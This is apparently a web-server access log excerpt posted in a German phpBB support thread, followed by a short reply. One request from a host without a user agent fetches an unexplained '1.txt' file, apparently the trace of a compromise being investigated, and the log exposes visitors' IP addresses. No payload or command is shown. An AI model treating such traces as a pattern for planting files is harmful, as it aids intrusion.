212.185.163.66 - - [28/Nov/2007:15:02:44 +0100] "GET /eaf-forum-1816/includes/javascript/ajax_core.js HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:44 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/phpbb2_logo.jpg HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:44 +0100] "GET /eaf-forum-1816/images/banner/eaf-logo-mitte.jpg HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/phpbb2_logor.jpg HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
208.53.138.28 - - [28/Nov/2007:15:02:44 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
212.185.163.66 - - [28/Nov/2007:15:02:43 +0100] "GET /eaf-forum-1816/index.php HTTP/1.1" 200 61210 "http://www.eaf-forum.de" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/images/spacer.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/cellpic_bkg.jpg HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/cellpic_nav.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/tb4_l.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/tb4_m.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/tb4_r.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_down_arrow.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_tiny_profile.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_calendar.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/cellpic3.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/folder_global_announce.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/spacer.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_latest_reply.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/includes/javascript/ajax_forumfunctions.js HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/link_folder.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/cat_folder_big.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_minipost.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/cellpic1.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/folder.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/cellpic2.jpg HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_minicat.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_minilink.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/whosonline.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/folder_new.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/folder_lock.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:45 +0100] "GET /eaf-forum-1816/ctracker/images/cback_ctracker_mini.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"

Beitrag von **oxpus** » Do 29.Nov, 2007 16:04

Solange keine anderen "schattigen" Dateien mehr auftauchen, ist es ja gut.